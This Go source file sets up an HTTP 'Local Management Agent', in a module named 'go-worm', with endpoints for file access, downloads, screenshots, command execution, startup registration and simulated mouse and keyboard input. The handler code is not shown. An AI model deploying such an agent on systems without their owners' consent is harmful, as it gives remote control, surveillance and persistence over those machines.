package agent import ( "context" "errors" "fmt" "net" "net/http" "os" "os/signal" "strings" "time" "tea.chunkbyte.com/kato/go-worm/lib/config" "tea.chunkbyte.com/kato/go-worm/lib/files" "tea.chunkbyte.com/kato/go-worm/lib/helpers" "tea.chunkbyte.com/kato/go-worm/lib/input" "tea.chunkbyte.com/kato/go-worm/lib/instance" ) type Agent struct { addr string root string guard *instance.Guard server *http.Server startedAt time.Time } func New() (*Agent, error) { a := &Agent{ addr: config.EnvOr("AGENT_ADDR", config.DefaultAddr), startedAt: time.Now(), } if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" { resolved, err := files.CanonicalExistingPath(root) if err != nil { return nil, fmt.Errorf("invalid AGENT_FILE_ROOT: %w", err) } a.root = resolved } guard, err := instance.Acquire() if err != nil { return nil, err } a.guard = guard input.EnableDPIAwareness() return a, nil } func (a *Agent) Close() { if a.guard != nil { a.guard.Close() } } func (a *Agent) Serve() error { mux := http.NewServeMux() mux.HandleFunc("/", a.handleWeb) mux.HandleFunc("/health", a.handleHealth) mux.HandleFunc("/healthz", a.handleHealth) mux.HandleFunc("/openapi.json", a.handleOpenAPI) mux.HandleFunc("/api/v1/status", a.handleStatus) mux.HandleFunc("/api/v1/files", a.handleFiles) mux.HandleFunc("/api/v1/download", a.handleDownload) mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot) mux.HandleFunc("/api/v1/exec", a.handleExec) mux.HandleFunc("/api/v1/startup", a.handleStartup) mux.HandleFunc("/api/v1/input/click", a.handleClick) mux.HandleFunc("/api/v1/input/text", a.handleText) a.server = &http.Server{ Addr: a.addr, Handler: helpers.RecoverHandler(mux), ReadHeaderTimeout: 10 * time.Second, ReadTimeout: 30 * time.Second, WriteTimeout: 150 * time.Second, IdleTimeout: 60 * time.Second, MaxHeaderBytes: 16 << 10, } listener, err := net.Listen("tcp", a.addr) if err != nil { return fmt.Errorf("listen %s: %w", a.addr, err) } fmt.Printf("Local Management Agent %s\nListening on http://%s\nPress Ctrl+C to stop.\n", config.Version, a.addr) ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt) defer stop() go func() { <-ctx.Done() shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second) defer cancel() _ = a.server.Shutdown(shutdownCtx) }() if err := a.server.Serve(listener); err != nil && !errors.Is(err, http.ErrServerClosed) { return fmt.Errorf("serve: %w", err) } return nil }